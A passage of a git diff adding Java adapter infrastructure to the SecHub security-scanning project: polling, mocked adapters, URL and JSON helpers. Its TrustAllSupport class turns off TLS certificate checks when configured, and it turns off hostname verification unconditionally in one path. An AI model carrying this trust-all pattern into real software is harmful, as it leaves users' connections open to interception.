LoggerFactory.getLogger(WaitForStateSupport.class); + protected Adapter adapter; + + public WaitForStateSupport(Adapter adapter) { + if (adapter == null) { + throw new IllegalArgumentException("adapter may not be null!"); + } + this.adapter = adapter; + } + + protected abstract boolean isWaitingForOKWhenInState(String state, X context) throws /*NOSONAR*/Exception; + + /** + * Handle state when no longer waiting + * + * @param state + * @param context + * @throws Exception + */ + protected void handleNoLongerWaitingState(String state, X context) throws /*NOSONAR*/ Exception{ + /* can be overriden, per default do nothing */ + } + + /** + * Iterative fetching of current state + * + * @param context + * @return + * @throws Exception + */ + protected abstract String getCurrentState(X context) throws Exception; + + /** + * Waits for OK state or another wellknown state. Does also support time out + * handling depending on context + * + * @param context + * @throws Exception + */ + public final void waitForOK(X context) throws AdapterException { + AdapterConfig config = context.getConfig(); + LOG.debug("{} wait for OK", adapter.getAdapterLogId(config)); + String state = null; + try { + while (isWaitingForOKWhenInState(state = getCurrentState(context), context)) { + if (context.isTimeOut()) { + throw adapter.asAdapterException( + "Time out reached:" + context.getMillisecondsRun() + " millis run.", config); + } + waitForResult(context); + } + handleNoLongerWaitingState(state, context); + + } catch (HttpClientErrorException e) { + throw adapter.asAdapterException("Waiting for result failed - response body was: "+e.getResponseBodyAsString(), e, config); + } catch (Exception e) { + throw adapter.asAdapterException("Waiting for result failed", e, config); + } + } + + private void waitForResult(X context) throws AdapterException { + AdapterConfig config = context.getConfig(); + if (config == null) { + throw new IllegalStateException("config is null!"); + } + try { + LOG.trace("{} wait for result-STARTED", adapter.getAdapterLogId(config)); + Thread.sleep(config.getTimeToWaitForNextCheckOperationInMilliseconds()); + LOG.trace("{} wait for result-DONE", adapter.getAdapterLogId(config)); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + throw adapter.asAdapterException("Waiting was interrupted", e, config); + } + + } + +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/mock/AbstractMockedAdapter.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/mock/AbstractMockedAdapter.java new file mode 100644 index 0000000000..ce36c6ccf6 --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/mock/AbstractMockedAdapter.java @@ -0,0 +1,106 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.mock; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; + +import com.daimler.sechub.adapter.AbstractAdapter; +import com.daimler.sechub.adapter.AdapterConfig; +import com.daimler.sechub.adapter.AdapterContext; +import com.daimler.sechub.adapter.AdapterException; +import com.daimler.sechub.adapter.support.MockSupport; +/** + * Abstract base class for mocked adapters. Will rely on {@link MockedAdapterSetupService} to support automated results depending on target urls... + * So the adapter is configurable by a config file! For demo mode and integration testing this is very nice, we just have to setup the path to config file! + * @author Albert Tregnaghi + * + * @param
+ * @param + */ +public abstract class AbstractMockedAdapter,C extends AdapterConfig> extends AbstractAdapter implements MockedAdapter{ + + private static final Logger LOG = LoggerFactory.getLogger(AbstractMockedAdapter.class); + final MockSupport mockSupport = new MockSupport(); + + @Autowired + private MockedAdapterSetupService setupService; + + @Override + protected final String getAPIPrefix() { + return "mockAdapterAPICall"; + } + + public final String start(C config) throws AdapterException { + long timeStarted = System.currentTimeMillis(); + + MockedAdapterSetupEntry setup = setupService.getSetupFor(createAdapterId()); + if (setup==null) { + LOG.info("did not found adapter setup so returning empty string"); + return ""; + } + String target = config.getTargetAsString(); + + throwExceptionIfConfigured(config, setup, target); + String result = loadResultAsConfigured(setup, target); + + waitIfConfigured(timeStarted, setup, target); + + LOG.debug("Returning content:{}",result); + + return result; + } + + private String loadResultAsConfigured(MockedAdapterSetupEntry setup, String target) { + String resultFilePath = setup.getResultFilePathFor(target); + LOG.info("will use result file path :{} for targeturl:{}",resultFilePath, target); + if (resultFilePath==null) { + throw new IllegalStateException("result file path not configured!"); + } + + /* load the result file from disk:*/ + String resource = mockSupport.loadResourceString(resultFilePath); + return resource; + } + + private void throwExceptionIfConfigured(C config, MockedAdapterSetupEntry setup, String target) + throws AdapterException { + if (setup.isThrowingAdapterExceptionFor(target)) { + LOG.info("adapter setup wants an error, so start throwing"); + throw asAdapterException("Wanted mock failure for "+target, config); + } + } + + private void waitIfConfigured(long timeStarted, MockedAdapterSetupEntry setup, String target) { + long wantedMs = setup.getTimeToElapseInMilliseconds(target); + + long elapsedMs = System.currentTimeMillis()-timeStarted; + long timeToWait = wantedMs-elapsedMs; + if (timeToWait>0) { + try { + Thread.sleep(timeToWait); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + } + } + + /** + * Check config data is as written in yaml file! This will check that all params + * are really given to the mock - means e.g. no data missing or accidently using + * defaults. + * + * @param config + */ + protected abstract void validateConfigAsDefinedInMockYAML(C config); + + public String getAdapterId() { + return createAdapterId(); + } + + @Override + protected String createAdapterId() { + /* currently same as in normal adapters but to ensure we got simple names here always - even when changed in adapters - this is overridden*/ + return getClass().getSimpleName(); + } +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/mock/MockedAdapter.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/mock/MockedAdapter.java new file mode 100644 index 0000000000..dc9756ceab --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/mock/MockedAdapter.java @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.mock; + +import com.daimler.sechub.adapter.Adapter; +import com.daimler.sechub.adapter.AdapterConfig; + +/** + * Just a marker interface for all mocks created for adapters - easier to find in IDE... + * @author Albert Tregnaghi + * + */ +public interface MockedAdapter extends Adapter{ + + /** + * For some stages (e.g. test) a sanity check can be enabled to check parameters + * are as expected. So config builder etc. can be tested. + * But for environments where those variable are set on deployment (e.g. kubernetes + * this is normally a problem and should not be turned on) + * @return + */ + public default boolean isMockSanityCheckEnabled() { + return Boolean.getBoolean("sechub.adapter.mock.sanitycheck.enabled"); + } +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/mock/MockedAdapterSetup.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/mock/MockedAdapterSetup.java new file mode 100644 index 0000000000..ea8ca036a5 --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/mock/MockedAdapterSetup.java @@ -0,0 +1,40 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.mock; + +import java.util.ArrayList; +import java.util.List; + +/** + * Just a list - to have an object for json marshalling... + * @author Albert Tregnaghi + * + */ +public class MockedAdapterSetup{ + + private List entries= new ArrayList<>(); + + public List getEntries() { + return entries; + } + + /** + * Search method + * @param adapterId + * @return configured setup entry for adapter id or null if none found + */ + public MockedAdapterSetupEntry getEntryFor(String adapterId) { + if (adapterId==null) { + return null; + } + for (MockedAdapterSetupEntry entry: entries) { + if (entry==null) { + continue; + } + if (adapterId.equals(entry.getAdapterId())){ + return entry; + } + } + return null; + } + +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/mock/MockedAdapterSetupCombination.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/mock/MockedAdapterSetupCombination.java new file mode 100644 index 0000000000..72bbdd096d --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/mock/MockedAdapterSetupCombination.java @@ -0,0 +1,51 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.mock; + +/** + * Combination object for an adapter + * @author Albert Tregnaghi + * + */ +public class MockedAdapterSetupCombination{ + + /** + * Special identifier for a combination which is a fallback for all not defined + */ + public static final String ANY_OTHER_TARGET="{any-other-target}"; + + private String target; + private boolean throwsAdapterException; + private String filePath; + + private long timeToElapseInMilliseconds; + + + public String getTarget() { + return target; + } + public void setTarget(String target) { + this.target = target; + } + public boolean isThrowsAdapterException() { + return throwsAdapterException; + } + public void setThrowsAdapterException(boolean throwsAdapterException) { + this.throwsAdapterException = throwsAdapterException; + } + public String getFilePath() { + return filePath; + } + public void setFilePath(String filePath) { + this.filePath = filePath; + } + + public void setTimeToElapseInMilliseconds(long timeToElapse) { + this.timeToElapseInMilliseconds = timeToElapse; + } + + public long getTimeToElapseInMilliseconds() { + return timeToElapseInMilliseconds; + } + + +} \ No newline at end of file diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/mock/MockedAdapterSetupEntry.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/mock/MockedAdapterSetupEntry.java new file mode 100644 index 0000000000..60967c8f73 --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/mock/MockedAdapterSetupEntry.java @@ -0,0 +1,82 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.mock; + +import java.util.ArrayList; +import java.util.List; + +/** + * A configuration object for mocked adapters, will be used for marshalling and inside mocked adapters to handle different behaviours + * @author Albert Tregnaghi + * + */ +public class MockedAdapterSetupEntry{ + + /** + * full class name of the mock adapter - used as an identifier + */ + private String adapterId; + + private List combinations = new ArrayList<>(); + + public void setAdapterId(String adapterid) { + this.adapterId = adapterid; + } + + public String getAdapterId() { + return adapterId; + } + + public boolean isThrowingAdapterExceptionFor(String target) { + MockedAdapterSetupCombination combination = getCombination(target); + if (combination==null) { + return false; + } + return combination.isThrowsAdapterException(); + } + public String getResultFilePathFor(String target) { + MockedAdapterSetupCombination combination = getCombination(target); + if (combination==null) { + return null; + } + return combination.getFilePath(); + } + + public long getTimeToElapseInMilliseconds(String target) { + MockedAdapterSetupCombination combination = getCombination(target); + if (combination==null) { + return -1; + } + return combination.getTimeToElapseInMilliseconds(); + } + + public List getCombinations() { + return combinations; + } + + public MockedAdapterSetupCombination getCombination(String target) { + MockedAdapterSetupCombination combi = internalExactGetCombination(target); + if (combi!=null) { + return combi; + } + return internalExactGetCombination(MockedAdapterSetupCombination.ANY_OTHER_TARGET); + } + + private MockedAdapterSetupCombination internalExactGetCombination(String target) { + if (target==null) { + return null; + } + for (MockedAdapterSetupCombination combination: combinations) { + if (combination==null) { + continue; + } + if (target.startsWith(combination.getTarget())){ + return combination; + } + } + return null; + } + + + + +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/mock/MockedAdapterSetupService.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/mock/MockedAdapterSetupService.java new file mode 100644 index 0000000000..aafd5a2d8c --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/mock/MockedAdapterSetupService.java @@ -0,0 +1,54 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.mock; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.adapter.support.JSONAdapterSupport; +import com.daimler.sechub.adapter.support.MockSupport; + +@Service +public class MockedAdapterSetupService { + + private static final Logger LOG = LoggerFactory.getLogger(MockedAdapterSetupService.class); + + public static final String DEFAULT_FILE_PATH = "./../sechub-other/mockdata/mockdata_setup.json"; + + /** + * Time to wait for creating workspace in milliseconds - when not defined + * default is used + */ + @Value("${sechub.adapter.mock.setup.filepath:" + DEFAULT_FILE_PATH + "}") + String filePath = DEFAULT_FILE_PATH;// set here default too when not in spring + // application context + + private MockSupport mockSupport = new MockSupport(); + + private MockedAdapterSetup setup; + + public MockedAdapterSetupEntry getSetupFor(String adapterId) { + ensureSetupLoaded(); + return setup.getEntryFor(adapterId); + } + + private void ensureSetupLoaded() { + if (setup != null) { + return; + } + loadConfiguredSetup(); + } + + private void loadConfiguredSetup() { + + try { + String json = mockSupport.loadResourceString(filePath); + setup = JSONAdapterSupport.FOR_UNKNOWN_ADAPTER.fromJSON(MockedAdapterSetup.class, json); + } catch (Exception e) { + LOG.error("FATAL: cannot setup mocked adapters because not able to load json:\n{})", e); + throw new IllegalStateException(e); + } + + } +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/support/APIURLSupport.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/support/APIURLSupport.java new file mode 100644 index 0000000000..a9da1ba55b --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/support/APIURLSupport.java @@ -0,0 +1,92 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.support; + +import java.io.UnsupportedEncodingException; +import java.net.URLEncoder; +import java.util.Iterator; +import java.util.Map; +import java.util.Map.Entry; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.daimler.sechub.adapter.AdapterConfig; + + +public class APIURLSupport { + + + private static final Logger LOG = LoggerFactory.getLogger(APIURLSupport.class); + + private static final String DELIMITER = "/"; + public String createAPIURL(String apiPath, AdapterConfig config, String apiPrefix, String otherBaseURL, Map map) { + StringBuilder sb = new StringBuilder(); + String productBaseURL = config.getProductBaseURL(); + if (productBaseURL == null) { + throw new IllegalStateException("product base URL is null!"); + } + String base = (otherBaseURL == null ? productBaseURL : otherBaseURL); + if (base.endsWith(DELIMITER)) { + base = getSafeSubStringOneLeft(base); + } + if (apiPrefix == null) { + apiPrefix = ""; + } + if (apiPrefix.length() > 0 && !apiPrefix.startsWith(DELIMITER)) { + apiPrefix = DELIMITER + apiPrefix; + } + if (apiPrefix.endsWith(DELIMITER)) { + apiPrefix = getSafeSubStringOneLeft(apiPrefix); + } + if (apiPath == null) { + apiPath = ""; + } + if (apiPath.length() > 0 && !apiPath.startsWith(DELIMITER)) { + apiPath = DELIMITER + apiPath; + } + if (apiPath.endsWith(DELIMITER)) { + apiPath = getSafeSubStringOneLeft(apiPath); + } + sb.append(base); + sb.append(apiPrefix); + sb.append(apiPath); + if (map==null || map.isEmpty()) { + return sb.toString(); + } + return appendQuery(map, sb); + } + + private String appendQuery(Map map, StringBuilder sb) { + sb.append("?"); + for (Iterator> it= map.entrySet().iterator();it.hasNext();) { + Entry entry = it.next(); + sb.append(safe(entry.getKey())); + sb.append('='); + sb.append(safe(entry.getValue())); + if (it.hasNext()) { + sb.append('&'); + } + } + return sb.toString(); + } + + private String safe(String key) { + if (key==null) { + return "null"; + } + try { + return URLEncoder.encode(key, "UTF-8"); + } catch (UnsupportedEncodingException e) { + LOG.error("Cannot encode api parts",e); + return "illegal"; + } + } + + private String getSafeSubStringOneLeft(String base) { + int endIndex = base.length() - 1; + if (endIndex < 0) { + return ""; + } + return base.substring(0, endIndex); + } +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/support/JSONAdapterSupport.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/support/JSONAdapterSupport.java new file mode 100644 index 0000000000..9f2ca88fed --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/support/JSONAdapterSupport.java @@ -0,0 +1,208 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.support; + +import java.io.IOException; +import java.util.Iterator; +import java.util.Map; +import java.util.Map.Entry; + +import org.springframework.http.ResponseEntity; +import org.springframework.util.ObjectUtils; + +import com.daimler.sechub.adapter.Adapter; +import com.daimler.sechub.adapter.AdapterException; +import com.daimler.sechub.adapter.SpringUtilFactory; +import com.daimler.sechub.adapter.TraceIdProvider; +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.node.ArrayNode; + +public class JSONAdapterSupport { + + private TraceIdProvider provider; + private Adapter adapter; + private ObjectMapper objectMapper = SpringUtilFactory.createDefaultObjectMapper(); + + /** + * Should only be used inside tests, because no traceIdProvider or adapter is set! + */ + public static final JSONAdapterSupport FOR_UNKNOWN_ADAPTER = new JSONAdapterSupport(); + + private JSONAdapterSupport() { + + } + + + public JSONAdapterSupport(Adapter adapter, TraceIdProvider provider) { + if (adapter==null) { + throw new IllegalArgumentException("adapter may not be null!"); + } + if (provider==null) { + throw new IllegalArgumentException("trace id provider may not be null!"); + } + this.adapter = adapter; + this.provider = provider; + } + + public Access fetchRootNode(ResponseEntity response) throws AdapterException { + String content = response.getBody(); + return fetchRootNode(content); + } + + public Access fetchRootNode(String content) throws AdapterException { + try { + JsonNode node = objectMapper.readTree(content); + if (node == null) { + throw adapter.asAdapterException("Node not readable, so not valid JSON", provider); + } + return new Access("",node); + + } catch (IOException e) { + throw adapter.asAdapterException("Was not able read content as JSON", e, provider); + } + } + + public Access fetch(String nodeName, ResponseEntity response) throws AdapterException { + return fetch(nodeName, response.getBody()); + } + + public Access fetch(String nodeName, String content) throws AdapterException { + return fetch(nodeName, fetchRootNode(content).asNode()); + } + + public Access fetchArray(int index, ArrayNode node) throws AdapterException { + JsonNode result = node.get(index); + if (result == null) { + String message = "Did not find array index '" + index + "' in given json array node!"; + if (adapter==null) { + /* this can happen only in test cases */ + throw new IllegalStateException("No adapter set, adapter exception would be:"+message); + } + throw adapter.asAdapterException(message, provider); + } + return new Access("array:"+index, result); + } + + public Access fetch(String nodeName, JsonNode node) throws AdapterException { + JsonNode result = node.get(nodeName); + if (result == null) { + String message = "Did not find '" + nodeName + "' in given json node!"; + if (adapter==null) { + /* this can happen only in test cases */ + throw new IllegalStateException("No adapter set, adapter exception would be:"+message); + } + throw adapter.asAdapterException(message, provider); + } + return new Access(nodeName, result); + } + + public class Access { + + private JsonNode node; + private String nodeName; + + public Access(String nodeName, JsonNode node) throws AdapterException { + if (node == null) { + throw adapter.asAdapterException("Node is null!", provider); + } + this.node = node; + this.nodeName=nodeName; + } + + public String asText() { + return asNode().asText(); + } + + public long asLong() { + return asNode().asLong(); + } + + public JsonNode asNode() { + return node; + } + + public Access fetch(String fieldName) throws AdapterException { + return JSONAdapterSupport.this.fetch(fieldName, asNode()); + } + + public Access fetchArrayElement(int index) throws AdapterException { + JsonNode element = asArray().get(index); + if (element == null) { + throw adapter.asAdapterException("No array element found on index=" + index, provider); + } + return new Access(nodeName+"["+index+"]",element); + } + + public Access fetchArrayElementHaving(String fieldName, Map map) throws AdapterException { + ArrayNode historyArray = asArray(); + JsonNode result = null; + for (Iterator elements = historyArray.elements(); elements.hasNext();) { + JsonNode nextNode = elements.next(); + boolean allMapEntriesFound = evaluateAllMapEntriesFound(map, nextNode); + if (allMapEntriesFound) { + result = nextNode.get(fieldName); + break; + } + + } + if (result == null) { + /* not found */ + throw adapter.asAdapterException("Was not able to find element '" + fieldName+"'", provider); + } + return new Access(fieldName, result); + } + + private boolean evaluateAllMapEntriesFound(Map map, JsonNode nextNode) { + for (Entry entry: map.entrySet()) { + String key= entry.getKey(); + String expected = entry.getValue(); + + JsonNode nextNodeChild = nextNode.get(key); + if (nextNodeChild == null) { + return false; + } + + String found = nextNodeChild.asText(); + + if (!ObjectUtils.nullSafeEquals(expected, found)) { + return false; + } + + } + return true; + } + + public ArrayNode asArray() throws AdapterException { + if (!node.isArray()) { + throw adapter.asAdapterException("Node '"+nodeName+"' is not an array!", provider); + } + return (ArrayNode) node; + } + + } + + public T fromJSON(Class wanted, String json) throws AdapterException{ + try { + return objectMapper.readValue(json, wanted); + } catch (Exception e) { + throw adapter.asAdapterException("Was not able to process given json", e, provider); + } + } + + public String toJSON(Object object) throws AdapterException{ + try { + return objectMapper.writeValueAsString(object); + } catch (JsonProcessingException e) { + throw adapter.asAdapterException("Was not able to process given object", e, provider); + } + } + + public String toJSON(Map map) throws AdapterException { + try { + return objectMapper.writeValueAsString(map); + } catch (JsonProcessingException e) { + throw adapter.asAdapterException("Was not able to process given map", e, provider); + } + } +} \ No newline at end of file diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/support/MessageDigestSupport.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/support/MessageDigestSupport.java new file mode 100644 index 0000000000..1bd68c68aa --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/support/MessageDigestSupport.java @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.support; + +import java.nio.charset.StandardCharsets; +import java.security.MessageDigest; + +public class MessageDigestSupport { + + public String createMD5(String value) { + MessageDigest md5; + try { + md5 = MessageDigest.getInstance("MD5"); + String charset = StandardCharsets.UTF_8.name(); + md5.update(value.getBytes(charset)); + + byte[] digest = md5.digest(); + StringBuilder sb = new StringBuilder(); + for (byte b : digest) { + sb.append(String.format("%02x", b & 0xff)); + } + return sb.toString(); + } catch (Exception e) { + throw new IllegalStateException("Cannot creaete MD5 hash", e); + } + } + +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/support/MockConfigSupport.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/support/MockConfigSupport.java new file mode 100644 index 0000000000..4b66c9384a --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/support/MockConfigSupport.java @@ -0,0 +1,6 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.support; + +public class MockConfigSupport { + +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/support/MockSupport.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/support/MockSupport.java new file mode 100644 index 0000000000..ea68b94399 --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/support/MockSupport.java @@ -0,0 +1,55 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.support; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; + +public class MockSupport { + + /** + * Try to load resource as string by given path. + * + * @param path + * @return string, never null + * @throws IllegalStateException + * when resource cannot be found + * + **/ + public String loadResourceString(String path) { + StringBuilder sb = new StringBuilder(); + + try (InputStream stream = createPath(path)) { + if (stream == null) { + throw new FileNotFoundException("Stream not found for:" + path); + } + BufferedReader br = new BufferedReader(new InputStreamReader(stream)); + String line = null; + while ((line = br.readLine()) != null) { + sb.append(line); + sb.append("\n"); + } + } catch (IOException e) { + throw new IllegalStateException("Cannot load mock resource:" + path, e); + } + return sb.toString(); + } + + private InputStream createPath(String path) { + File file = new File(path); + if (file.exists()) { + /* simply use file stream */ + try { + return new FileInputStream(file); + } catch (FileNotFoundException e) { + throw new IllegalStateException("File exists but not found?"); + } + } + /* seems to be not available per file so try resource loading*/ + return getClass().getResourceAsStream(path); + } +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/support/TrustAllSupport.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/support/TrustAllSupport.java new file mode 100644 index 0000000000..39572056a9 --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/support/TrustAllSupport.java @@ -0,0 +1,186 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.support; + +import java.io.IOException; +import java.net.InetAddress; +import java.net.InetSocketAddress; +import java.net.Proxy; +import java.net.Socket; +import java.net.UnknownHostException; +import java.security.KeyManagementException; +import java.security.NoSuchAlgorithmException; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; + +import javax.net.ssl.HostnameVerifier; +import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLSession; +import javax.net.ssl.TrustManager; +import javax.net.ssl.X509TrustManager; + +import org.apache.http.HttpHost; +import org.apache.http.config.Registry; +import org.apache.http.config.RegistryBuilder; +import org.apache.http.conn.DnsResolver; +import org.apache.http.conn.socket.ConnectionSocketFactory; +import org.apache.http.conn.socket.PlainConnectionSocketFactory; +import org.apache.http.conn.ssl.NoopHostnameVerifier; +import org.apache.http.conn.ssl.SSLConnectionSocketFactory; +import org.apache.http.impl.client.CloseableHttpClient; +import org.apache.http.impl.client.HttpClientBuilder; +import org.apache.http.impl.client.HttpClients; +import org.apache.http.impl.conn.PoolingHttpClientConnectionManager; +import org.apache.http.protocol.HttpContext; +import org.apache.http.ssl.SSLContexts; +import org.springframework.http.client.ClientHttpRequestFactory; +import org.springframework.http.client.HttpComponentsClientHttpRequestFactory; + +import com.daimler.sechub.adapter.Adapter; +import com.daimler.sechub.adapter.AdapterException; +import com.daimler.sechub.adapter.TrustAllConfig; + +/** + * This support works with SOCKS-Proxys V4. + * + * @author Albert Tregnaghi + * + */ +public class TrustAllSupport { + + private static final String TLS = "TLS"; + private Adapter adapter; + private TrustAllConfig config; + + public TrustAllSupport(Adapter adapter, TrustAllConfig config) { + if (adapter == null) { + throw new IllegalArgumentException("adapter may not be null"); + } + if (config == null) { + throw new IllegalArgumentException("config may not be null"); + } + this.adapter = adapter; + this.config = config; + } + + public ClientHttpRequestFactory createTrustAllFactory() { + HttpClientBuilder clientBuilder = HttpClients.custom(); + SSLContext sslContext = null; + if (config.isTrustAllCertificatesEnabled()) { + try { + sslContext = createTrustAllSSLContext(adapter); + } catch (AdapterException e) { + throw new IllegalStateException("Should not happen! See trace", e); + } + } else { + sslContext = SSLContexts.createSystemDefault(); + } + if (config.isProxyDefined()) { + // proxy with socks not working with standard HTTPHost, + // clientBuilder.setProxy(..) + // So own approach necessary, details see + // https://stackoverflow.com/questions/22937983/how-to-use-socks-5-proxy-with-apache-http-client-4 + Registry reg = RegistryBuilder.create() + .register("http", new SocksProxyConnectionSocketFactory()) + .register("https", new SocksProxySSLConnectionSocketFactory(sslContext)).build(); + + PoolingHttpClientConnectionManager cm = new PoolingHttpClientConnectionManager(reg, new FakeDnsResolver()); + clientBuilder.setConnectionManager(cm); + } else { + clientBuilder.setSSLContext(sslContext); + clientBuilder.setSSLHostnameVerifier(new HostnameVerifier() { + public boolean verify(String hostname, SSLSession session) { + return /* NOSONAR - we know what we do here! */true; + } + }); + } + + CloseableHttpClient httpClient = clientBuilder.build(); + + HttpComponentsClientHttpRequestFactory requestFactory2 = new HttpComponentsClientHttpRequestFactory(); + requestFactory2.setHttpClient(httpClient); + return requestFactory2; + } + + private SSLContext createTrustAllSSLContext(Adapter adapter) throws AdapterException { + SSLContext sslContext = null; + try { + sslContext = SSLContext.getInstance(TLS); + + TrustManager tm = new X509TrustManager() { + + private X509Certificate[] emptyCertificatesArray = new X509Certificate[] {}; + + public void /*NOSONAR*/checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + /* we do not check the client - we trust all */ + } + + public void /*NOSONAR*/checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + /* we do not check the server - we trust all */ + } + + public X509Certificate[] getAcceptedIssuers() { + return emptyCertificatesArray; + } + }; + + sslContext.init(null, new TrustManager[] { tm }, null); + + return sslContext; + } catch (NoSuchAlgorithmException | KeyManagementException e) { + throw adapter.asAdapterException("Was not able to initialize a trust all ssl context", e, config); + } + + } + + private class FakeDnsResolver implements DnsResolver { + @Override + public InetAddress[] resolve(String host) throws UnknownHostException { + // Return some fake DNS record for every request, we won't be using it + return new InetAddress[] { InetAddress.getByAddress(new byte[] { 1, 1, 1, 1 }) }; + } + + } + + private class SocksProxyConnectionSocketFactory extends PlainConnectionSocketFactory { + @Override + public Socket createSocket(final HttpContext context) throws IOException { + InetSocketAddress socksaddr = new InetSocketAddress(config.getProxyHostname(), config.getProxyPort()); + Proxy proxy = new Proxy(Proxy.Type.SOCKS, socksaddr); + return new Socket(proxy); + } + + @Override + public Socket connectSocket(int connectTimeout, Socket socket, HttpHost host, InetSocketAddress remoteAddress, + InetSocketAddress localAddress, HttpContext context) throws IOException { + // Convert address to unresolved + InetSocketAddress unresolvedRemote = InetSocketAddress.createUnresolved(host.getHostName(), + remoteAddress.getPort()); + return super.connectSocket(connectTimeout, socket, host, unresolvedRemote, localAddress, context); + } + } + + private class SocksProxySSLConnectionSocketFactory extends SSLConnectionSocketFactory { + + public SocksProxySSLConnectionSocketFactory(final SSLContext sslContext) { + // You may need this verifier if target site's certificate is not secure + super(sslContext, NoopHostnameVerifier.INSTANCE); + } + + @Override + public Socket createSocket(final HttpContext context) throws IOException { + InetSocketAddress socksaddr = new InetSocketAddress(config.getProxyHostname(), config.getProxyPort()); + Proxy proxy = new Proxy(Proxy.Type.SOCKS, socksaddr); + return new Socket(proxy); + } + + @Override + public Socket connectSocket(int connectTimeout, Socket socket, HttpHost host, InetSocketAddress remoteAddress, + InetSocketAddress localAddress, HttpContext context) throws IOException { + // Convert address to unresolved + InetSocketAddress unresolvedRemote = InetSocketAddress.createUnresolved(host.getHostName(), + remoteAddress.getPort()); + return super.connectSocket(connectTimeout, socket, host, unresolvedRemote, localAddress, context); + } + } + +} \ No newline at end of file diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/support/URIShrinkSupport.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/support/URIShrinkSupport.java new file mode 100644 index 0000000000..4a0b2aa25b --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/support/URIShrinkSupport.java @@ -0,0 +1,55 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.support; + +import java.net.URI; +import java.net.URISyntaxException; +import java.util.Collection; +import java.util.LinkedHashSet; +import java.util.Set; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class URIShrinkSupport { + + private static final Logger LOG = LoggerFactory.getLogger(URIShrinkSupport.class); + + /** + * Shrinks given uris to a set containing only {@link URI} elements which + * represent same protocol, hostname and port + * @param uris + * @return set of {@link URI} , never null + */ + public Set shrinkToRootURIs(Collection uris){ + Set result = new LinkedHashSet<>(); + + if (uris==null) { + return result; + } + for (URI uri: uris) { + buildRootURI(result, uri); + } + + return result; + } + + + private void buildRootURI(Set result, URI uri) { + String scheme = uri.getScheme(); + String host = uri.getHost(); + int port = uri.getPort(); + + String userInfo = null; + String path=null; + String query=null; + String fragment=null; + + URI rootURI; + try { + rootURI = new URI(scheme, userInfo, host, port, path, query, fragment); + result.add(rootURI); + } catch (URISyntaxException e) { + LOG.error("Was not able to build root uri 